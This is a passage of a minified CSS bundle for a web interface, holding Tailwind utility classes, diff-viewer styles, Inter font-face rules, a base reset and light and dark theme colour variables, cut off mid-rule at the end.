scaleY(var(--tw-scale-y))}.scale-95{--tw-scale-x: .95;--tw-scale-y: .95;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-y{resize:vertical}.list-none{list-style-type:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-\[1fr_max-content\]{grid-template-columns:1fr max-content}.grid-cols-\[1fr_max-content_max-content\]{grid-template-columns:1fr max-content max-content}.grid-cols-\[7rem_minmax\(6\.5rem\,1fr\)\]{grid-template-columns:7rem minmax(6.5rem,1fr)}.grid-cols-\[max-content_1fr\]{grid-template-columns:max-content 1fr}.grid-cols-\[max-content_minmax\(0\,1fr\)\]{grid-template-columns:max-content minmax(0,1fr)}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-2{gap:.5rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-x-2{-moz-column-gap:.5rem;column-gap:.5rem}.gap-x-3{-moz-column-gap:.75rem;column-gap:.75rem}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-x-5{-moz-column-gap:1.25rem;column-gap:1.25rem}.gap-x-6{-moz-column-gap:1.5rem;column-gap:1.5rem}.gap-x-8{-moz-column-gap:2rem;column-gap:2rem}.gap-y-1{row-gap:.25rem}.gap-y-2{row-gap:.5rem}.gap-y-3{row-gap:.75rem}.gap-y-4{row-gap:1rem}.gap-y-5{row-gap:1.25rem}.gap-y-8{row-gap:2rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-12>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(3rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(3rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-8>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(2rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(2rem * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-rule>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:oklch(var(--rule) / var(--tw-divide-opacity, 1))}.overflow-auto{overflow:auto}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.break-all{word-break:break-all}.rounded{border-radius:4px}.rounded-full{border-radius:9999px}.rounded-md{border-radius:6px}.rounded-sm{border-radius:2px}.border{border-width:1px}.border-0{border-width:0px}.border-y{border-top-width:1px;border-bottom-width:1px}.border-b{border-bottom-width:1px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-t{border-top-width:1px}.border-accent{--tw-border-opacity: 1;border-color:oklch(var(--accent) / var(--tw-border-opacity, 1))}.border-fg{--tw-border-opacity: 1;border-color:oklch(var(--fg) / var(--tw-border-opacity, 1))}.border-rule{--tw-border-opacity: 1;border-color:oklch(var(--rule) / var(--tw-border-opacity, 1))}.border-transparent{border-color:transparent}.border-warn{--tw-border-opacity: 1;border-color:oklch(var(--warn) / var(--tw-border-opacity, 1))}.border-warn\/40{border-color:oklch(var(--warn) / .4)}.bg-accent\/10{background-color:oklch(var(--accent) / .1)}.bg-accent\/5{background-color:oklch(var(--accent) / .05)}.bg-fg-faint{--tw-bg-opacity: 1;background-color:oklch(var(--fg-faint) / var(--tw-bg-opacity, 1))}.bg-fg\/30{background-color:oklch(var(--fg) / .3)}.bg-surface{--tw-bg-opacity: 1;background-color:oklch(var(--surface) / var(--tw-bg-opacity, 1))}.bg-surface-tint{--tw-bg-opacity: 1;background-color:oklch(var(--surface-tint) / var(--tw-bg-opacity, 1))}.bg-transparent{background-color:transparent}.bg-warn\/10{background-color:oklch(var(--warn) / .1)}.bg-warn\/5{background-color:oklch(var(--warn) / .05)}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.px-0{padding-left:0;padding-right:0}.px-0\.5{padding-left:.125rem;padding-right:.125rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-3\.5{padding-left:.875rem;padding-right:.875rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-10{padding-top:2.5rem;padding-bottom:2.5rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.pb-1{padding-bottom:.25rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pb-6{padding-bottom:1.5rem}.pl-4{padding-left:1rem}.pl-6{padding-left:1.5rem}.pr-2{padding-right:.5rem}.pr-6{padding-right:1.5rem}.pt-3{padding-top:.75rem}.pt-4{padding-top:1rem}.pt-5{padding-top:1.25rem}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.align-baseline{vertical-align:baseline}.align-super{vertical-align:super}.font-sans{font-family:Inter Variable,Inter,-apple-system,BlinkMacSystemFont,Segoe UI,system-ui,sans-serif}.text-5xl{font-size:3rem;line-height:1}.text-\[0\.65rem\]{font-size:.65rem}.text-\[0\.85em\]{font-size:.85em}.text-body{font-size:.9375rem;line-height:1.55}.text-display{font-size:2.5rem;line-height:1.05;letter-spacing:-.02em}.text-headline{font-size:1.5rem;line-height:1.15;letter-spacing:-.01em}.text-label{font-size:.75rem;line-height:1.2;letter-spacing:.04em}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-title{font-size:1rem;line-height:1.35}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.normal-case{text-transform:none}.italic{font-style:italic}.not-italic{font-style:normal}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[1\.05\]{line-height:1.05}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-snug{line-height:1.375}.leading-tight{line-height:1.25}.tracking-normal{letter-spacing:0}.tracking-tight{letter-spacing:-.01em}.tracking-tighter{letter-spacing:-.02em}.tracking-wider{letter-spacing:.04em}.text-accent{--tw-text-opacity: 1;color:oklch(var(--accent) / var(--tw-text-opacity, 1))}.text-fg{--tw-text-opacity: 1;color:oklch(var(--fg) / var(--tw-text-opacity, 1))}.text-fg-faint{--tw-text-opacity: 1;color:oklch(var(--fg-faint) / var(--tw-text-opacity, 1))}.text-fg-muted{--tw-text-opacity: 1;color:oklch(var(--fg-muted) / var(--tw-text-opacity, 1))}.text-ok{--tw-text-opacity: 1;color:oklch(var(--ok) / var(--tw-text-opacity, 1))}.text-warn{--tw-text-opacity: 1;color:oklch(var(--warn) / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.decoration-fg{text-decoration-color:oklch(var(--fg) / 1)}.decoration-dotted{text-decoration-style:dotted}.underline-offset-2{text-underline-offset:2px}.underline-offset-4{text-underline-offset:4px}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.accent-fg{accent-color:oklch(var(--fg) / 1)}.opacity-0{opacity:0}.opacity-100{opacity:1}.ring-2{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.ring-accent\/45{--tw-ring-color: oklch(var(--accent) / .45)}.ring-offset-2{--tw-ring-offset-width: 2px}.ring-offset-surface{--tw-ring-offset-color: oklch(var(--surface) / 1)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.transition{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-\[opacity\,transform\]{transition-property:opacity,transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-150{transition-duration:.15s}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.ease-out-quart{transition-timing-function:cubic-bezier(.25,1,.5,1)}@media(prefers-reduced-motion:reduce){*,*:before,*:after{animation-duration:.01ms!important;animation-iteration-count:1!important;transition-duration:.01ms!important;scroll-behavior:auto!important}}.placeholder\:text-fg-faint::-moz-placeholder{--tw-text-opacity: 1;color:oklch(var(--fg-faint) / var(--tw-text-opacity, 1))}.placeholder\:text-fg-faint::placeholder{--tw-text-opacity: 1;color:oklch(var(--fg-faint) / var(--tw-text-opacity, 1))}.last\:border-0:last-child{border-width:0px}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:border-fg-faint:hover{--tw-border-opacity: 1;border-color:oklch(var(--fg-faint) / var(--tw-border-opacity, 1))}.hover\:bg-accent:hover{--tw-bg-opacity: 1;background-color:oklch(var(--accent) / var(--tw-bg-opacity, 1))}.hover\:bg-accent\/15:hover{background-color:oklch(var(--accent) / .15)}.hover\:bg-surface-tint:hover{--tw-bg-opacity: 1;background-color:oklch(var(--surface-tint) / var(--tw-bg-opacity, 1))}.hover\:bg-surface-tint\/60:hover{background-color:oklch(var(--surface-tint) / .6)}.hover\:bg-warn\/15:hover{background-color:oklch(var(--warn) / .15)}.hover\:text-accent:hover{--tw-text-opacity: 1;color:oklch(var(--accent) / var(--tw-text-opacity, 1))}.hover\:text-fg:hover{--tw-text-opacity: 1;color:oklch(var(--fg) / var(--tw-text-opacity, 1))}.hover\:text-fg-muted:hover{--tw-text-opacity: 1;color:oklch(var(--fg-muted) / var(--tw-text-opacity, 1))}.hover\:text-surface:hover{--tw-text-opacity: 1;color:oklch(var(--surface) / var(--tw-text-opacity, 1))}.hover\:underline:hover{text-decoration-line:underline}.focus\:border-accent:focus{--tw-border-opacity: 1;border-color:oklch(var(--accent) / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-0:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(0px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-accent\/40:focus{--tw-ring-color: oklch(var(--accent) / .4)}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:text-accent{--tw-text-opacity: 1;color:oklch(var(--accent) / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-fg{--tw-text-opacity: 1;color:oklch(var(--fg) / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-fg-muted{--tw-text-opacity: 1;color:oklch(var(--fg-muted) / var(--tw-text-opacity, 1))}@media(prefers-reduced-motion:reduce){.motion-reduce\:transition-none{transition-property:none}}@media(min-width:640px){.sm\:w-44{width:11rem}.sm\:w-64{width:16rem}.sm\:w-\[34rem\]{width:34rem}.sm\:shrink-0{flex-shrink:0}.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:grid-cols-\[7rem_6\.5rem_10rem_7rem\]{grid-template-columns:7rem 6.5rem 10rem 7rem}.sm\:flex-row{flex-direction:row}.sm\:items-start{align-items:flex-start}.sm\:items-center{align-items:center}.sm\:border-b-0{border-bottom-width:0px}.sm\:border-r{border-right-width:1px}.sm\:p-6{padding:1.5rem}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pb-0{padding-bottom:0}.sm\:pr-6{padding-right:1.5rem}}@media(min-width:768px){.md\:grid-cols-\[minmax\(0\,1fr\)_auto\]{grid-template-columns:minmax(0,1fr) auto}.md\:items-start{align-items:flex-start}.md\:items-end{align-items:flex-end}.md\:justify-end{justify-content:flex-end}}@media(min-width:1024px){.lg\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.lg\:grid-cols-\[minmax\(0\,0\.95fr\)_minmax\(22rem\,1\.05fr\)\]{grid-template-columns:minmax(0,.95fr) minmax(22rem,1.05fr)}.lg\:gap-x-7{-moz-column-gap:1.75rem;column-gap:1.75rem}.lg\:gap-x-8{-moz-column-gap:2rem;column-gap:2rem}.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media(min-width:1280px){.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}
+:root{--diff-background-color:initial;--diff-text-color:initial;--diff-font-family:Consolas,Courier,monospace;--diff-selection-background-color:#b3d7ff;--diff-selection-text-color:var(--diff-text-color);--diff-gutter-insert-background-color:#d6fedb;--diff-gutter-insert-text-color:var(--diff-text-color);--diff-gutter-delete-background-color:#fadde0;--diff-gutter-delete-text-color:var(--diff-text-color);--diff-gutter-selected-background-color:#fffce0;--diff-gutter-selected-text-color:var(--diff-text-color);--diff-code-insert-background-color:#eaffee;--diff-code-insert-text-color:var(--diff-text-color);--diff-code-delete-background-color:#fdeff0;--diff-code-delete-text-color:var(--diff-text-color);--diff-code-insert-edit-background-color:#c0dc91;--diff-code-insert-edit-text-color:var(--diff-text-color);--diff-code-delete-edit-background-color:#f39ea2;--diff-code-delete-edit-text-color:var(--diff-text-color);--diff-code-selected-background-color:#fffce0;--diff-code-selected-text-color:var(--diff-text-color);--diff-omit-gutter-line-color:#cb2a1d}.diff{background-color:var(--diff-background-color);border-collapse:collapse;color:var(--diff-text-color);table-layout:fixed;width:100%}.diff::-moz-selection{background-color:#b3d7ff;background-color:var(--diff-selection-background-color);color:var(--diff-text-color);color:var(--diff-selection-text-color)}.diff::selection{background-color:#b3d7ff;background-color:var(--diff-selection-background-color);color:var(--diff-text-color);color:var(--diff-selection-text-color)}.diff td{padding-bottom:0;padding-top:0;vertical-align:top}.diff-line{font-family:Consolas,Courier,monospace;font-family:var(--diff-font-family);line-height:1.5}.diff-gutter>a{color:inherit;display:block}.diff-gutter{cursor:pointer;padding:0 1ch;text-align:right;-webkit-user-select:none;-moz-user-select:none;user-select:none}.diff-gutter-insert{background-color:#d6fedb;background-color:var(--diff-gutter-insert-background-color);color:var(--diff-text-color);color:var(--diff-gutter-insert-text-color)}.diff-gutter-delete{background-color:#fadde0;background-color:var(--diff-gutter-delete-background-color);color:var(--diff-text-color);color:var(--diff-gutter-delete-text-color)}.diff-gutter-omit{cursor:default}.diff-gutter-selected{background-color:#fffce0;background-color:var(--diff-gutter-selected-background-color);color:var(--diff-text-color);color:var(--diff-gutter-selected-text-color)}.diff-code{word-wrap:break-word;padding:0 0 0 .5em;white-space:pre-wrap;word-break:break-all}.diff-code-edit{color:inherit}.diff-code-insert{background-color:#eaffee;background-color:var(--diff-code-insert-background-color);color:var(--diff-text-color);color:var(--diff-code-insert-text-color)}.diff-code-insert .diff-code-edit{background-color:#c0dc91;background-color:var(--diff-code-insert-edit-background-color);color:var(--diff-text-color);color:var(--diff-code-insert-edit-text-color)}.diff-code-delete{background-color:#fdeff0;background-color:var(--diff-code-delete-background-color);color:var(--diff-text-color);color:var(--diff-code-delete-text-color)}.diff-code-delete .diff-code-edit{background-color:#f39ea2;background-color:var(--diff-code-delete-edit-background-color);color:var(--diff-text-color);color:var(--diff-code-delete-edit-text-color)}.diff-code-selected{background-color:#fffce0;background-color:var(--diff-code-selected-background-color);color:var(--diff-text-color);color:var(--diff-code-selected-text-color)}.diff-widget-content{vertical-align:top}.diff-gutter-col{width:7ch}.diff-gutter-omit{height:0}.diff-gutter-omit:before{background-color:#cb2a1d;background-color:var(--diff-omit-gutter-line-color);content:" ";display:block;height:100%;margin-left:4.6ch;overflow:hidden;white-space:pre;width:2px}.diff-decoration{line-height:1.5;-webkit-user-select:none;-moz-user-select:none;user-select:none}.diff-decoration-content{font-family:Consolas,Courier,monospace;font-family:var(--diff-font-family);padding:0}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-cyrillic-ext-wght-normal-BOeWTOD4.woff2) format("woff2-variations");unicode-range:U+0460-052F,U+1C80-1C8A,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-cyrillic-wght-normal-DqGufNeO.woff2) format("woff2-variations");unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-greek-ext-wght-normal-DlzME5K_.woff2) format("woff2-variations");unicode-range:U+1F00-1FFF}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-greek-wght-normal-CkhJZR-_.woff2) format("woff2-variations");unicode-range:U+0370-0377,U+037A-037F,U+0384-038A,U+038C,U+038E-03A1,U+03A3-03FF}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-vietnamese-wght-normal-CBcvBZtf.woff2) format("woff2-variations");unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-latin-ext-wght-normal-DO1Apj_S.woff2) format("woff2-variations");unicode-range:U+0100-02BA,U+02BD-02C5,U+02C7-02CC,U+02CE-02D7,U+02DD-02FF,U+0304,U+0308,U+0329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-latin-wght-normal-Dx4kXJAl.woff2) format("woff2-variations");unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:Inter Variable,Inter,-apple-system,BlinkMacSystemFont,Segoe UI,system-ui,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}*,:before,:after{border-color:oklch(var(--rule))}:root{--surface: 96% .012 75;--surface-tint: 92% .014 75;--fg: 18% .012 75;--fg-muted: 42% .014 75;--fg-faint: 52% .014 75;--rule: 80% .012 75;--accent: 40% .13 25;--ok: 50% .085 150;--warn: 60% .14 60;color-scheme:light;accent-color:oklch(var(--accent))}:root[data-theme=dark]{--surface: 16% .008 75;--surface-tint: 22% .012 75;--fg: 92% .006 75;--fg-muted: 68% .014 75;--fg-faint: 54% .012 75;--rule: 28% .01 75;--accent: 72% .12 25;--ok: 70% .085 150;--warn: 76% .14 60;color-scheme:dark}@media(prefers-color-scheme:dark){:root:not([data-theme=light]):not([data-theme=dark]){--surface: 16% .008 75;--surface-tint: 22% .012 75;--fg: 92% .006 75;--fg-muted: 68% .014 75;--fg-faint: 54% .012 75;--rule: 28% .01 75;--accent: 72% .12 25;--ok: 70% .085 150;--warn: 76% .14 60;color-scheme:dark}}body{background:oklch(var(--surface));color:oklch(var(--fg));font-family:Inter Variable,Inter,-apple-system,BlinkMacSystemFont,Segoe UI,system-ui,sans-serif;font-feature-settings:"cv02","cv03","cv04","cv11","ss01","kern";font-optical-sizing:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}h1,h2,h3{text-wrap:balance}p{text-wrap:pretty}::-moz-selection{background:oklch(var(--accent) / .2);color:oklch(var(--fg))}::selection{background:oklch(var(--accent) / .2);color:oklch(var(--fg))}.container{width:100%}@media(min-width:640px){.container{max-width:640px}}@media(min-width:768px){.container{max-width:768px}}@media(min-width:1024px){.container{max-width:1024px}}@media(min-width:1280px){.container{max-width:1280px}}@media(min-width:1536px){.container{max-width:1536px}}.tnum{font-variant-numeric:tabular-nums}.formula-run-diff-view{--diff-background-color: transparent;--diff-text-color: oklch(var(--fg));--diff-font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", 